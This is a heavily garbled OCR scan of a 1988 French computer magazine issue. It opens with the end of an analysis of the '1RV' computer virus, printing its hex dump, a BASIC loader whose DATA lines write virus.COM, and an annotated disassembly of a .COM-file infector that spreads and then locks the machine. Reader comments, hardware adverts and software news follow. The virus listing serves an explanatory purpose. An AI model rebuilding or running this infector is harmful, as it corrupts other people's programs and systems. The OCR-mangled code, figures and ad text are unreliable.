01 CO CD 21 CD 20 50 72 6F 67 72 61 6D 20 73 69 63 6B 
01 DO 20 65 72 72 6F 72 3A 43 61 6C 6C 20 64 6F 63 74 
01 EO 6F 72 20 6F 72 20 62 75 79 20 50 49 58 45 4C 20 
01 FO 66 6F 72 20 63 75 72 65 20 64 65 73 63 72 69 70 
0200 74 69 6F 6E OA OD 24 BE 24 02 B9 2B 00 33 FF F3 
0210 A4 33FF2EC7 06 0E01 00 00 2E 8C 06 10 01 2E 
0220 FF 2E OE 01 1 E 07 BE 4F 04 80 3E 05 01 01 75 04 
0230 81 EE 00 02 BF 00 01 B9 FF FF 2B CE F3 A4 2E C7 
0240 06 00 01 00 01 2E 8C 1 E 02 01 2E FF 2E 00 01 CD 
0250 20 CD 20 00 00 



Pour les programmes Basic, dont la source est innocemment 
fournie en clair, il conviendra d'étudier les éventuelles lignes de 
données (ou les chargements de fichiers de données externes). 
Voici à titre indicatif la liste de données trouvée dans le 
chargeur Basic du virus 1RV : 



10ONERRORGOTO30 

20 GOTO 50 

30 CLOSE #1 

40 END 

50 OPEN "virus.COM" AS 1 LEN=1 

60FIELD1.1 ASB5 



70 fi 



iELSEPRINTS%:S%=0 



80 READ KS 

90 V%=VAL("&h"+K$) 

100 IF (l% MOD 8)<>0 THEN S%=S%- 

1 10 LSET B$=CHR${VAL["&H"+KS)) 

120 PUT 1,i%:l%=l%+1:GOTO 80 

130 DATA EB,14.90,49,5S,0,2A,2E,43 r 4F r 4D,0,4F,4,0 

1 50 DATA 0,1,0,0,u,0,0,8C r C8,5,0,1 0,8E,CO,FE,8 

170 DATA 5.1, BE,0,1 r 33,FF.B9,4F,!,F3,A4,BA,5F,2,B4 

190 DATA 1A,CD,21,BA.6.l r B9,16,0,B4,4E,CD,21,72,60,BA 

210 DATA 7D,2,B8,2,3D,CD,21, A3, 14,1,88,08,6,1 F.BA.4F 

230 DATA 3,B9,FF,FF,B4,3F,CD,21,5,4F,3,2EA3,12,1 T 3E 

25QDATA81.3E r 52,3,49,56,74,21,33 r C9,8B.D1,2E,eB T 1E,14 

270 DATA 1 ,B8,0,42,CD,21 ,72,1 1 ,BA,0,0,2E,8B,E,12,1 

290 DATA 2E,8B.1E,14,1,B4,40,CD,21,2E,8B,1E,12,1,B4,3E 

310 DATA CD.21,E,1F,B4,4F,BA,5F,2,CD,21,72,2.E8,A0 T BA 

330 DATA 80,0,B4,1A,CD,21,80,3E,5,1,5,72,5B,B8,40,0 

350 DATA 8E,D8,A1,6C,0,E.1F,25,1,0,74,4C,BA,C4,1,B4 

370 DATA 9,CD,21,CD,20,50,72,SF,67,72,61,6D,20,73,69,63 

390 DATA 6B,20,S5,72,72,6F,72,3A,43,61 ,6C,6C,20,64,6F,63 

41 DATA 74,6F,72,20,6F,72,20,62,75,79,20,50,49,58 I d5,4C 

430 DATA 20,66,6F,72,20,63,75,72,65,20,64,65,73,63,72,69 

450 DATA 70,74,69,6F,6E,A,D,24.BE,24,2.B9,2B,0,33,FF 

470 DATA F3,A4,33,FF,2E,C7,6,E,1,0,0,2E,8C,6,10,1 

490 DATA 2E T FF,2E,E,1 ,1 E,7,BE,4F,4,80,3E,5,1 ,1 ,75 

510 DATA 4,B1,EE,0,2,BF,0,1,B9,FF,FF,2B,CE,F3,A4,2E 

530 DATA C7.6,0,1,0,l,2E.8C,1E,2,t,2E,FF,2E,0,1 

550 DATA CD,20.CD,20,0,0 



Voici enfin, page suivante, le désassemblage du virus 1RV, 
obtenu après incubation dans un milieu de culture expérimen- 
tal composé exclusivement de faux fichiers .COM (fichios- 
pièges, composés de la seule instruction NOP /RET) . 
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CONSULTEZ-] 



ï XT* TURBO 

iioilier métallique pro 

alimentation 150 Watts 

carie aère lurbo 4.77/8 Mhz conmutable par Hllch : 

Ko de mémoire, extensible à 640 Ko sur li carie mère 

i placement pour ce- processeur 8087 ■ 8 slois d'extension 

lecteur de disquettes 360 fie I1F/DD Japonais avec carie 

trôleur 

clavier izirtf 84 touches normes XT 




idil4h30/19h 



10h30/13h-14h/19h 



ï AT* 80286 TURBO 

bailler métallique AT 

alimentation 18S Wstls 

carie mire lurbo avec processeur 80286 commulahle ■ 

] Mhz i Mit slale 

mémoire 512 Ko extensible i 1 Mo sur li carte mère 

orloie sauvegardée 

contrôleur disquelle I.ZMo/360 Ko/TZOKo 

lecteur de disquettes 1.2Mo 

clavier uertj Étendu (101 louches] m. normes AT 



; AT* 80286 PRO 

bailler ■étalllque AT PRO 



alimentation ZOO watts 
carie mare lurbo i«ec processeur 80236 en 
DMhi« mit slale 

mémoire 512 Ko extensible a 1 Mo sur la carie mère 
■rlogt sauvegardée 

contrôleur disquette/disque dur AT fonctionnant 
16 bits 

carte monochrtme itaphique type Hercules avec port 
allèle 

carte ont rue/ sortie (série parallèle) 
lErteur de disquettes 1,Z Ho 
disque dur 28 Mo Miniscribe 
clarier izert) étendu (101 leuches] aux nnrmes Al 



OPTIONS (XT/AT) 



- Option carie mire 10 Mhz |KT) 
ClBi^isiids 101 menai |pi 

- Huilier laok AT 

- BdïIIsf métallique bah) XT |XT| 
Extensions mémoire 

- Loldi 9 RAM 25dKd 
-Ex1enaHna512K ' 



urXT| 



(pour XT) 

- Exlaniln di mémoire 1 Mo pour AT 
Cartes vidéo 

- Ci rit vidéo m» m chroma (t|pa Hsrculas) net pari pinlllll 

- Carte couleur graphique |CEA| me pol parallèle 

- Carte haute résalation couleur |EGA| + 

- Carie duildlspln uap. Hircalai CGI 

- Caria eultila notion (harloai saunaardés. serties jnjslii*, 
série, parallèle il contrôleur iiigaetles) 

- Caria nulli-fonclioil ■ulti-uïspls( [ilfichin Hercules CEI, 
G4DxtOD |apl.|. 640x200. serties séria-para 1181b, horlgga 



Moniteurs 

- Meoiltunao 

irmoM 

- Menltaur naiachroee 14" TTL bilrlquenca |nalr ou tmhrt 
ic r pied orienltbla 

- Moniteur couleur [Philips on luire) CGA [640 *!CIG) 

- Moniteur couleur haute résolution |EGA| tur aoetc 
Lecteurs disques / disques durs 

--" — taira 350 Ko Df/OD [pour XT| 
■ Ont lai fit "o avec carie contrôleur (pour XT) 

Hat dur 30 U aiM cartr 

. Ouk dartOKa Seagate 
Accessoires 

- Soont contenue Microsoft i trancher sur le port séria 



PROMOTIONS DU MOIS 

Carte muHI- fonction Hercule* «90F ttc 
Carte multi- fonction CGA 690F ne 

Lecteur disque 3 1/2 pouces 950F TTC 

Lecteur disque 1,2 Mo 990Fttc 

IMPRIMANTE J-M l'UaiM 

SEIK0SHASL80AI ■ ■ ■ ■■■■■■ ■ 
• 24 aiguilles • Compatible EPSON/IBM. 



PC XT TURBO 
4,77/8 Mhz 

• 256 Ko • Boîtier look AT • Carte multi- 
fonction • carte vidéo hercules e Clavier 1 01 
touches • 1 lecteur 360 Ko + 1 disque dur 
20Moe 1 écran 12" haute résolution mon o- 

cfire 



PC AT 80286 PRO 

- 1 boîtier métallique AT I 

- 1 alimentation 200 Watts 

- 1 carte mère turbo 6/10 Mhz o wait state 

- 1 horloge sauvegardée 

- 1 contrôleur disquette/disque dur AT 

fonctionnant sur 16 bits 

- 1 carte EGA multi-synchro 

- 1 carte entrée/sortie (série parallèle) 

- 1 lecteur disquettes 1,2 Mo 

-1 disque dur 20 Mo 

- 1 clavier étendu (101 touches) aux normes AT 

- 1 moniteur EGA 

- 1 souris 




DESASSEMBLAGE DU VIRUS 1RV 



algoriihm induced 



software : aids 



dla equoffset virusend+16d 

lendata equ512d 

lancode equoffset virusend - offset start 

idof squaffsel ident - offset start 

idpos equlencode+lendata+idof 

codesegmeni 



assume es 


cod e .ds :code , es: coda 


org 


100h 


jmp 


dw VI" 


génération 


db o 


nomfich 


db "*.COM",0 [tous les .con 


pragram 


dw lencode+leridata+1 OOh 



génération 


;[e compteur fatitique^ 


cx.lencode 




mcwsb 


Implication du code viral 




;4096 octets au-dessus 


ah,1ah 


;une dta (data transfert 


aih 


:area) est créée, peur y 






dx, offset nomfich 




cx,16h 


,system et hiddèn compri 


ah,4eh 


recherche du premier 


21 h 


; fichier correspondant 


ffend 


;,lnyen„p.. 


dx,dïa+30d 




ax,3d02h 


[ouverture en read'write 


21 h 




h and le. a x 


;sauve le file handle 


bx.ax 




ds 


;buffer à la suite du 


dx.lencode+lendala 


;code viral 


cx r fjfifm 


[64 ko à transférer 


ah,3fh 


-lecture du fichier 


21 h 




ax.lencode* lendata 


;ax=longueur réelle 


cs:lngth,ax 


[sauvegardé 


3eh,81 h,3eh 


;sig nature du virus 



placement du pointeur 



F 


filend 


;il n'y en a plus 


fmp 


fileloop 




filend: 






mov 


dx.BQh 


;réactive la dta 


mov 


ah,1ah 




int 


21 h 








emp 


génération, 5 


;crash à la 5ème génération 


jb 


ax,40h 
ds,ax 


[inférieur à 5 


mov 


ax,ds:à6chê 


.prend la valeur du timer 


pus h 


es 




pop 


ds 




and 


ax.1 


[tests le 1 er 1 0ème de sec. 


JZ 


dx.oflset msg 
ah.9 


; répit temporaire 


int 


21 h 


;message viral 




20h 


;com bloqué définitivement 




db "programslck 


;rror:call doctor" 




db " or buy Pixel 


or cure description" 




db 10,13,-$" 




mov 


si, offset sefeode 




mov 


cx.oflset endcode 


offset seicode 


mov 


movsb 

word ptr cs:of,0 
Word ptr cs:sg,es 


[déplace Pan-tête 


imp 


dword ptrcsiof 


;brancha a cet en-tëte 


seteode: 






push 


ds 




pop 


es 




mov 


sljencode+lendata 


i-1 OOh 



cx.Offffh 

movsb 



s:[100h].1oo 
:s;[102h],ds 
cs:[1 00 h J [démarrage m 



Nous avons, durant le mois d'avril, ouvert un 
forum télématique au sujet des vitus. De nom- 
breuses contributions témoignent de l'importance 
du sujet. Voici un extrait des plus significatifs. Cela 
va de la panique à la négation du phénomène pour lequel une 
explication (un complot ?) est fournie. Des noms sont avan- 
cés... car en fait, tout est là : à qui profite le crime ? Le débat est 
engagé. S'agit-il de monstres médiatiques nageant en eau 
trouble ou bien d'une réalité tangible ? 

- <Lesvirussontpartout...>(Jacquesson, 28 avril.) 

- < Dites donc L'Oi, cet article n'est-il pas paru un jour ttès 
particulier ? Vous faites peur aux gens avec vos histoires. J'ai 
commencé à flairer le poisson d'avril... > (Anonyme, 2 avril.) 

- < Quoique téléchargeant des programmes par dizaines, je 
n'ai pas encore vu l'ombte de la capsule du moindre virus. > 
(Bilik, 3 mai.) 

- < Qui bénéficie des virus ? Comme on peut le deviner, 
Microsoft y gagne en prestige, puisque, si problème de DOS il 
y a, chacun y verra la main de l'infâme freeware sans 
soupçonner qu'une aussi digne société puisse faire des erreurs 
dans des programmes abondamment diffusés ; Loriciel est un 



gentil chevaliet qui lutte contre le malin, et gagne à être connu, 
surtout si le connaisseur achète ses programmes ; enfin, honte à 
moi, les plumitifs de tous horizons trouveront là une intarissa- 
ble source de copie. Bref, le freeware, domaine qui a la fâcheuse 
manie de favoriser un échangisme suspect, cédera la place aux 
logiciels sérieux, très normalement bogues, et taisonnablement 
lucratifs. > (Bilik, 3 mai.) 

- < Les virus font si bien l'affaire des éditeurs de logiciels 
(beaucoup vont hésitet à pirater si les dangers sont tels) qu'on 
peut se demander dans quelle mesure ils ne pourraient pas être 
quelque peu responsables de leur multiplication et peut-être 
même de leur apparition. > (Bonhomme, 18 avril.) 

- < J'ai tout lu sur les virus ; envers et contre tous, je pense 
que c'est une très bonne chose. Je m'explique : les copies de 
logiciel sont interdites par toutes les lois internationales. Mais 
comme personne ne bouge, il fallait bien que certains agissent, 
non ? > {Anonyme, 18 avril.) 

- ï Chers utilisateurs de micros, il existe une différence 
entre piratet des logiciels (puni par la loi) et récupérer des 
utilitaires freeware bogues volontairement par des petits 
malins. » (Anonyme, 28 avril.) A.S. 



Les 5" 1/4 parlent aux 3" 1/2 avec 3X-Link 



Si la compatibilité existe en 
tre PC, PS 12 ~" 
Portables, elle n'est 
vécue pleinement lors- 
que les lecteurs sont 
de formats 3" 1/2 et 
5" 1/4. 

Comment alors 
assurer l'échange de 
fichiers ou de program- 
mes dans un tel environnement 
3X a créé un protocole de communi- 
cation révolutionnaire qui combine 
vitesse et sécurité. Vérifiant l'intégrité 
des données transmises, il garantit 
le transfert de tous les types de 
fichiers. 

Avec le logiciel 3X-I_ink, deux ordina- 
teurs sont reliés par l'intermédiaire 
de l'interface RS 232. Les données 
circulent alors par câble en toute 
sécurité d'un micro 5" 1/4 à un micro 



IIHWXM 3 Etotle). 

3X France 

33, rue Bayen 75017 Paris 
Tel : (1) 45.7J.W1 4 




3" 1 /2 ou inversement, à une 
vitesse de 115.000 Bauds. 
A tout instant, quelle que 
soit l'application en œuvre, 
la communication peut 
s'établir. Une fois les don- 
nées transférées, les deux 
ordinateurs retournent au- 
tomatiquement au travail 
qui était en cours. 
Le transfert périodique d'un 
~* M A . fichier, qui doit être retraité sur 

^fll&.# ^fidffl^ un aulre or d inateur P eut faire 

^H BEff %. JKB Btlh l'objet d'une séquence d'envoi 

;.:JB|^ automatisée. Cet envoi est ainsi 

\ |Miip r^- programmé pour être transmis quo- 

'■'■ ; "-'-'PpP-' ■ '■■■:-WÎ 7 ~ iidiennement à i'heure de son choix. ; 

3X-Link est un nouveau produit de: 
3X. Il vient compléter la gamme 
de logiciels de télécommunication : 

3X Link et son cable multislandard 3X-MailbOX, Télé-Mail, Mail-Server, 

de 10 mètres à 1.500 fh.t. pjn fttc, 3X -Support, 3X-Encrypt et 3X-Telecopy. 

PS/2™ est une marque déposée 





L'ORDINATEUR IKDIVIDLLLiv I04/JUIN 19R8 



Selon votre terrain, selon vos objectifs. 
Vous avez le choix des armes. 




ATARI LE FASCINANT POUVOIR DEUARME INFORMATIQUE. A ATARI' 



Référence 136 do Xeà 



ACTUALITES 



QUATRE AMERICAINS 
À PARIS 

Wayne Ratliff, le créateur de dBase, lance Emerald Bay ; Rod 

Turner parie sur le nouveau Q&R multifichier Jim Reilly vante le 

SQL Server, et David Schach plaide pour Quattro. 



LES CARNETS 

DE DANIEL 

ICHBIAH 



Plongeon dans la baie d'émeraude 

Wayne Ratliff est le créateur de dBase. En janvier 1986, il 
avait quitté Ashton Tate pour rejoindre Migent, afin de se 
consacrer à une nouvelle idée : Emerald Bay, une autre gestion 
de bases de données. Par les accords qui le liaient à Ashton 
Tate, Wayne n'était pas supposé travailler sur une base de 
données avant septembre 1986. < Mais... confie Ratliff, j'avais 
le droit de penser. > A cette même époque, le président de 
Migent, optimiste, laisse entendte qu'Emerald Bay sera prêt en 
avril 1987. Les dirigeants d'Ashton Tate en concluent que 
Wayne a commencé à travailler sur ce projet au moins une 
année auparavant, et il s'est ensuivi une mémorable action en 
justice. Wayne contre-attaque à son tour et poursuit Ashton 
Tate sur d'autres motifs. < C'est l'essence du marché 
américain >, explique Wayne Rat- 
liff. < Si vous n'aimez pas quelqu'un, 
faites-lui un procès. > Finalement, les 
deux parties parviennent à un 
< accord entre gendemen > dont la 
teneur est confidentielle. . . 

La baie d'émeraude... il est rare 
qu'un SGBD porte un nom aussi 
poétique. Dans la pratique, le pa- 
ckage est très classique, et c'est une 
constatation terre à terre qui a dirigé 
Wayne Ratliff. < Nous avons ob- 
servé le marché et n'avons pas vu de 
SGBD véritablement conçu pour 
fonctionner en réseau. > L'équipe de 
Wayne est donc partie de zéro pour 
atteindre cet objectif. Second postu- 
lat de travail : il est difficile de se 
partager les données d'une applica- 
tion à une autre. 

La solution consiste donc en Eme- 
rald Bay, une couche de 1 30 Ko qui 
vient se superposer au DOS, et sur 
laquelle pourront se greffer diverses 




Une rubrique 
qui prend du recul 
sur les annonces 
fracassantes ; chaque 
mois, des conseils, des 
analyses et les 
meilleures 
applications du PC 
passées au crible 
par un journaliste- 
utilisateur chevronné. 



applications. Pour le moment, Migent propose un add-in pour 
1-2-3 (Summit), un outil de programmation de type dBase 
(Eagle), une interface pour Ability Plus, et un outil de 
développement en C On nous promet également une interface 
SQL. Nous sommes loin, avec ce projet, du gigantisme des 
équipes de développement des trois grands. Wayne fonctionne 
avec une toute petite équipe (six programmeurs}. C'est une 
seule personne qui a conçu Eagle, deux ont développé la partie 
SQL : un luxe. Wayne lui-même a programmé le moteur 
d'EmeraldBay. 

N'est-il pas un peu tard pour tenter d'imposer un nouveau 
standard à un marché déjà fort bien servi ? Wayne répond 
qu'Eagle a reçu un accueil très enthousiaste de la part des 
programmeurs dBase. < Nous avons présenté le produit dans 
cinq villes aux Etats-Unis, à la suite de quoi le téléphone n'a 
cessé de sonner chez Migent. > Il n'empêche que ceux-ci 
devront s'acquitter de 4 950 F pour acquérir Eagle et qu'il 
faudra modifier quelque peu les applications dBase à l'aide 
d'un outil spécifique. 

Signe particulier : Wayne n'a pas vu dBase IV, et dans cette 
mesure, les atouts qu'il nous annonce pour Emerald Bay sont 
quelque peu relativisés. Ainsi, nous apprenons que le verrouil- 
lage des enregistrements est effectué automatiquement en 
réseau, de même que la mise à jour des index. Nous avons droit 
dans Eagle, comme dans les aunes produits Emerald Bay, à des 
outils de type générateur d'écran, générateur d'état... Le 
produit est le même en monoposte ou en réseau. Dans ce 
dernier cas, le moteur d'Emerald Bay réside sur le serveur. 

L'interface d'Eagle est en retrait par rapport à celle de 
dBase IV ou même III Plus dans la mesure où nous ne 
disposons pas de menus déroulants, et retrouvons le mode 
commande des premières versions de dBase. Les program- 
meurs, qui utilisent rarement le mode Assist, se retrouveront 
néanmoins en territoire connu. Du côté des avantages patents, 
le format utilisé par Emerald Bay s'avère beaucoup plus 
compact que celui de dBase. Un fichier de 5,3 Mo sous dBase 
est réduit à 1,8 Mo une fois converti. L'une des raisons de ce 
gain de place vient de ce qu'Emerald Bay gère des champs de I 



tailles variables. Enfin, Wayne annonce que le compilateur 
d'Eagle est en cours de béta-test, ce qui laisse présumer des 
temps de réponses satisfaisants. 

Les progrès de Q&R 

Restons dans le clan des anciens d'Ashton Tate avec Rod 
Turner de Symantec. Occupant la vingtième position des 
éditeurs de logiciels avec environ 30 millions de dollars, 
Symantec est principalement connue pour sa gestion de 
fichiers/traitement de texte Q&R. 125 000 copies de ce 
logiciel ont été vendues dans le monde, la filiale française PC 
Technologie en ayant commercialisé 2 000 exemplaires. L'as- 
pat novateur de ce logiciel, par ailleurs très performant et 
simple d'emploi, était un module d'intelligence artificielle 
(l'Assistant Intelligent). Il est possible avec Q&R de deman- 
der : < liste-moi les magazines qui ont plus de 50 000 
lecteurs. > Seule une minorité d'utilisateurs emploie cette 
fonction. Cela devrait changer avec la nouvelle version de ce 
logiciel, l'Assistant Intelligent ayant été remanié et fonction- 
nant quatre fois plus vite qu'auparavant. Nouveauté majeure, 
Q&R 4 est devenu multifichier. 11 n'est pas telarionne! au sens 
stria du terme. « Lorsque nous avons demandé à nos clients ce 
qu'ils désiraient comme améliotations, ils ont répondu qu'ils 
voulaient que Q&R soit relationnel, et nous avons cherché à 



savoir ce qu'ils entendaient par là. En fait, ils veulent, par 
exemple, pouvoir créer des rapports mettant en jeu plusieurs 
fichiers. C'est ce que fait Q&R 4. > Le traitement de texte déjà 
remarquable permet désormais de combiner plusieurs fontes 
dans un même document, La gestion des colonnes et les calculs 
sont réalisables dans ce même module, et il est possible 
d'importer des graphiques et des tableaux Lotus dans un 
document. 

Selon Rod Turnet, il s'agirait, d'après des tests effectués, 
du traitement de texte le plus rapide du marché. Enfin, 
Q&R fonctionne en réseau de façon transparente. < Vous 
prenez Q&R, vous concevez une base de données, et immédia- 
tement, les autres utilisateurs peuvent y accéder. > Cette sim- 
plicité est telle, que, d'après Rod Turner, sur deux Q&R 
vendus aux Etats-Unis actuellement, on trouve une version 
réseau. 

C'est Rod qui a choisi Hugues Leblanc et La Commande 
Electronique pour représenter Ashton Tate en France. Mais si 
Rod estime beaucoup Leblanc pour sa réussite, les relations se 
sont relâchées. Aujourd'hui, le concurrent principal de Q&R 
est Rapid File !... Et sur le papier au moins, Q&R 4 semble 
aller beaucoup plus loin. Il reste cependant à PC Technologie à 
faire preuve d'un sens du marché aussi aigu que celui pratiqué 
par Hugues Leblanc. 



SPECIAL MULTIPOSTE TELEMATIQUE P.A.O. 



Puissance et continuité Communication efficace 



DBASE IH + , Frame- 
work, Lotus, Word, Para- ^ Modcm Tennessee 
dox, et toutes les appiica- QModem 2400/2400 
lions "réseaux" utilisables rjCarte PC Bavard 

grâce à CONCURRENT DOS rjCarte télécopie 

386 en multiposte SOFDIT 

U Carte Tetracom 

Jusqu'à 255 tâches vir- Telex/Teletex 

tuelles 8086, compatible gLogiciel PCYSTEL 

DOS 3.3 ... Serveur 1 à 4 voies 
en tâche de fond 

Des solutions complètes 

à partir de 



Public ideasoft 
1250 1080 



14950 11850 



15300 
3200 



WALTERS AT 386 
20 Mhz / 2Mo 

Toutes les marques citées s 



BBBBBma 

IDEASOFT Comptabilité 

40 000 F ht générale + ^y**™* 



IDEASOFT Gestion 

Code barres 5200 



La micro édition facile 

- 1 MEGA ST 4 ATARI 
avec disque dur 20Mo 

1 imprimante laser 
ATARI 

- 1 logiciel de PAO 

- 1 logiciel de traitement 
de texte 

- 1 an <fa maintenam'j* SJg 
site 

- 2 jours de formation 

29 900 F ht 



ETIQUETTES CODE BARRES 

Systèmes d'édition pour l'industrie, 
le commerce, l'automobile (GA- 

Logiciels très puissants. 
Nous contacter. 



^S 



IDEASOFT 



125 Rue de Suresnes 
utres produils et complémen 



92000 NANTERRE 
d'information, nous consulter. 



Service clientèle 

a 42.04.02. 13 



Société : _ _ _ Téléphot 

Code Postal : _ Ville :______ 

IDEASOFT - 125 rue de Suresnes - 92000 NANTERRE - Tel: 42.04.02.13 
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ACTUALITES 



De dBase à SQL 

Jim Reilly est, lui, toujours chez Ashton Tare. Il est venu 
jeter un peu de lumière sur SQL Server. Tout d'abord pour 
rappeler qu'il s'agit d'un logiciel et non d'un matériel. Il sera 
disponible vers janvier 1989 et nécessitera environ 5 Mo de 
mémoire. Si l'on veut également loger OS/2 et une ou 
plusieurs application(s), il est bon de prévoir 8 Mo. Bien 
entendu, il faut effectuer des comparaisons avec le monde de la 
mini et, dans ce contexte, la solution SQL Server est présentée 
comme < bon marché >. 40 % de ce logiciel se consacre à 
maintenir l'intégrité des données, puisque SQL Server est avant 
tout multi-utilisateur. Il suffira d'apporter quelques modifica- 
tions très mineures à un programme dBase pour qu'il puisse 
fonctionner avec un PC exécutant ce logiciel serveur. Un conseil 
toutefois aux programmeurs dBase : il est temps d'apprendre 
la syntaxe SQL. Celle-ci améliorera considérablement la 
performance des programmes dBase exécutés avec SQL Server. 
Vous êtes prévenus. 

Des milliers d'add-in pour Quattro 

David Schach pour sa part est l'un des trois principaux 
concepteurs de Quattro, le tableur de Borland. Il s'occupe de la 
partie des add-in spécifiques à ce produit. \1 add-in Toolkit de 
Borland est actuellement en béta-test. David Schach estime 
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utilitain 

isqu.; applîcat.et circl »-™nl.ini., 
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t ASSEMBLEUR, FORTH, LISP, PROLOG etc. 
isqu.: Intelligence Artif.. système s eiperts, 

isquettes: éducation: EAO; roathémat.; astr 



MS-DOS 

PASCAL ; 5i BASIC: 



: traitent. 



t de text 
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que la compagnie va bénéficier des centaines de milliers de 
programmeurs Turbo-Pascal et Turbo-C, lesquels seront 
encouragés à écrire des add-in. 

< Notre objectif avec Quattro était de nous appuyer sur le 
standard Lotus. > Borland n'a-t-elle cependant pas été un peu 
loin dans la < compatibilité > ? David Schach explique que 
toutes les précautions ont été prises afin de ne pas tomber dans 
le cadre d'une accusation de plagiat comme cela a été le cas avec 
VP-Planner. < Notre format de fichier natif est totalement 
différent, l'interface-utilisateur n'est pas la même à la base, le 
menu Lotus est une option. > Il fait valoir que Quattro 
comporte de nombreux ajouts tels qu'une aide à la mise au 
point pout les macros. 

David Schach remarque aussi que la presse n'a pas toujours 
compris ce produit. < Dans la plupart des essais, les gens ont 
sélectionné une formule et l'ont recopiée dans toute la feuille. 
Après quoi ils ont constaté que Quattro était plus lent que 1-2- 
3 ! On ne fait jamais ce genre de manipulation dans la réalité. 
De plus, dans le cas de Quattro, c'est un mauvais exemple 
puisqu'il faut recalculer toutes les formules et que le recalcul 
minimal n'intervient donc pas. > Rendez-vous pour la sortie de 
la version française de Quattro prévue pour fin juin. 



MULTILOG SORT UNE 
NOUVELLE VERSION 
de son SGBD. M21 Plus est 
une collection de neuf logi- 
ciels. On trouve : Multigen, 
le générateur de program- 
mes ; Multirun, la base de 
données ; Multidev, un mo- 
dule avancé d'aide au déve- 
loppement ; Mulrigraph, un 
grapheur; Multitab, le ta- 
bleur; Multitex, le rraite- 
ment de texte ; Multi- 
compta, la comptabilité ; 
Multifac, la facturation et 
Multipaie, la paie paramé- 
trable. 

Cette nouvelle version est en 
outre multibibliothèque, 
multisodété, multiposte et 
multifenêtre. Tous les pro- 
duits M2I Plus fonctionnent 
avec ceux de la gamme Arc 
en Ciel et M2I Tel. Ils sont 
tous disponibles sauf le mo- 
dule Mulrigraph qui le sera 
en octobre. 



DAME, ICHBIAH 



LOTUS ANNONCE UNE 
VERSION A BASE 

d'Unix de son tableur 1-2- 
3. Celle-ci constitue le pre- 
mier produit Lotus destiné 
au marché Unix. Elle sera 
développée parallèlement à 
la version 3 et fonctionnera 
sous le système V d'AT&T. 
Permettant un travail en 
multitâche et multi-utilisa- 
teur, elle aura tous les perfec- 
tionnemenrs de la version 3 
du tableur. 

ANIRAL UTEC PRÉ- 
SENTE LE PS 32, UN OR- 
dinateur < bicéphale >. Un 
68010àlOMHzestptévu 
pour supporter Unix System 
V et un 80386 à 16 MHz 
pour MS-DOS. Les deux 
systèmes cohabitent. Avec 
un disque dur de 20 Mo et 
2 Mo de mémoire centrale 
de part et d'autre, la ma- 
chine vaut 60 000 F ht. 



L'ORDINATEUR INDIVIDUEL N" 1 




DANS LA JUNGLE DES COMPATIBLES, 
DSC N'EST PAS PRÉSENT ! 






.. MAIS BIENTOT PRÉSENT A COURBEVOIE ! 

ODÊLE CONFIGURATION STANDARD VERSIONS PRIX TTC F.F. 



SENlOfl XT Processeur 8088-2 : TURBO 4,77 / 10 Mhz ■ Mèm-..i. de base 2M K:i Disque dut 20 MO (65 ms) . 

Coffre AT extensible a 540 Ko - Carie graphique : couleur 64U » 200 ol iniirr: Disque ou 30 Mo (65 ma] . 

Compact cnrcmE ? 2Q k 343 - 1 lecteur de disquette 360 Ko + éjecte .' de c sqjciit flisi.if r.u 40 Mo (40 ms) . 



7.890 
8.720 
9.565 



SUPERIDR AT Processeur S02B5 : TURBO 6/8/10/13 Mhz - Horloge i-.-nr.' ■<* ■ Uémcire - 2' lecteur 1,2 Mo 

Coffre AT de base 5)2 Ko extensible à 4 Mo sur carte-mère et 161.1:: :.r -iifa-jer» > sq i; Jjr 20 Mo (35 ms) . 

Compact cartes - Carte graphique : couleur 640 x 200 ou monocvcme rm x ;i-8 ■ Disque dur 40 Mo (40 ms) . 

1 lecteur de ri isq us":- 1 2 Mo ■ SjCCff-'jr : Jspcnais - .:t ci écrit en 360 Ko) 

1 Port parallèle ■ 1 Port série - 1 MS-DOS 3.21 et GW-BASIC - manuels en 

français - Clavier A7.ERTY 102 T Cherry 

ÉXECUTIUE AT Processeur 80286 : TURBO 6/8/10/13 Mhz - Horloge temps réel - Mémoire Disque dur 40 Mo (23 ms| . 
Coffret AT de base 1024 Ko ext. à 4 Mo sur carte-mère et 16 Mo par montage de cartes- Disque dur BO Mo (23 ms) . 

Standard Carte graphique couleur CM-EGA : CGA : 640 x 200 / EGA : 640 x 350 / 

HER : 720x348-1 lecteur de disquette 1.2 Mo ■ éjec:r- n S '■•" ''JapiFisis- 

lit et écrit en 360 Ko) - 1 lecteur rie disquette 720 Ko +■ éjecteur 3 %" 

(Japonais) - 1 Port parallèle - 1 Port série - 1 MS-DOS 3.21 et GW-BASIC - 

manuels en français - Clavier AZEBTY 102 T Cherry 



9.550 
1 1 .945 
13.085 



PRESIDENT 
Coffre AT 
Standard 



Processeur 80386 : TURBO 10/16 Mhz - Horloge temps réel - Me- -i e ce flisqur du 20 Mo (35 ms) . 
base 2 Mo sur carte-mère ext. à 6 Mo -Carte graphique couleur CM [SA Diiqjt i:u 40 Mo (28 ms) . 
CGA: 640x200 / EGA : 640x350 / HER ■ 720 x :!45 - I l^'.eur de :■ n.ui; U'^.n ui.rflOMo (28 ms) . 
î.2 Mo +■ éjecte jr S V (Japonais ■ lit et ccr.t en 360 Ko}- 1 le-r.i. ,■■ 
disquette 720 Ko +- électeur 3 y," (Japonais) - 1 Port parallèle -1 Pr.rt série 
Clavier AZERTY 102 T Cherry 



MONITEURS Vendus avec unité centrale et en option selon votre choix : 
Monochrome graphique 12" - socle orientable - Vert/Ambre 
Monochrome graph. TTL 14" - socle orientable - Vert/Ambre 
Monochrome graphique TVM 14" - résolution 910 x 620 .... 

Clavier CHERRY 102 T XT/AT 

Kit SEAGATE 20 Mo (65 ms) + Ctrl * Câbles 

Carte contrôleur MFM - RLL AT 

Disque dur SEAGATE 20 Mo (35 ms) 

Disque dur SEAGATE 40 Mo (40 ms) 

Disque dur SEAGATE 40 Mo (28 ms) 



Cnuiecr graphique 14" - CGA - socle orientable 

860 Couleur graphique TVM 14" - EGA - socle orientable 

980 Col.l ■ :;iaphique SAMSUNG 14"- EGA 

2.265 Couleur graphique 14"- résolution 300 » 600 



840 Cane gr^phiq. couleur CM-EGA (Reprise carte CGA ou MGP) 

2.650 CGA : 640 x 200 / EGA : 640 x 350 / HER : 720 x 348 

NX. Coffret Colonne pour Président (reprise Coffre Standard) . . . 

2.550 MS-DOS 3.21 et GW-BASIC ■ manuel en français 

4.395 Extension de mémoire 

5.180 Souris Microsoft et Systems PC Mouse Compatible 



2.395 
4.095 
3.530 
5.330 



REVENDEOflS : Notre Centrale d'Achats est à votre service pour grouper vos achats de pièces informatiques à des prix avantageu 
